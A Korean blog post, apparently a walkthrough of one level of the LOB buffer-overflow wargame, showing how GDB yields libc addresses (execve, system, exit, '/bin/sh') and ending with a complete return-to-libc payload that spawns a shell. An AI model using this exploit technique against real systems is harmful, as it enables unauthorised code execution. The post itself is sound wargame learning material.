이번엔 코드가 복잡해 보이지만 결국 excve의 주소값을 구해서 ret이 그 주솟값과 같지 않을 경우 종료되도록 되어있다.
우선 execve를 사용하야만 하므로 execve의 주소에 값을 넘겨서 /bin/sh를 실행해야 한다. 그렇게 하기 위해선
[system의 주소][exit함수 주소][/bin/sh의 주소][NULL주소]
1. system 주소
2.
execve의 주소를 구하려면 저 코드에서 보이는대로 일일히 구해도 되지만, 좀 더 쉬운방법이 있다.
GDB로 아무 파일이나 열어서 main에 멈추고 p execve로 구하는 것이다.
system과 exit함수의 주소도 쉽게 구했다.
execve => 0x400a9d48
system => 0x40058ae0
exit => 0x400391e0
이다.
그럼 /bin/sh만 구하면 된다.
※ \x0a는 \n을 의미하며 값으로 사용할시 \x00과 마찬가지로 입력을 잘라 버리기 때문에 `python`을 "로 한번 더 감싸줘야한다.
해당 코드를 짜서 컴파일 후 실행했다.
/bin/sh => 0x400fbff9
NULL => 0xbffffffc
따라서 페이로드는
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xfc\xff\xff\xbf"'`"
'LOB' 카테고리의 다른 글
LOB:Assasin→Zombie-assassin (0) | 2018.05.03 |
---|---|
LOB:Giant→Assasin (0) | 2018.05.01 |
LOB:Darkknight→Bugbear (0) | 2018.04.11 |
LOB:Golem→Darkknight (0) | 2018.04.11 |
LOB:Skeleton→Golem (0) | 2018.04.10 |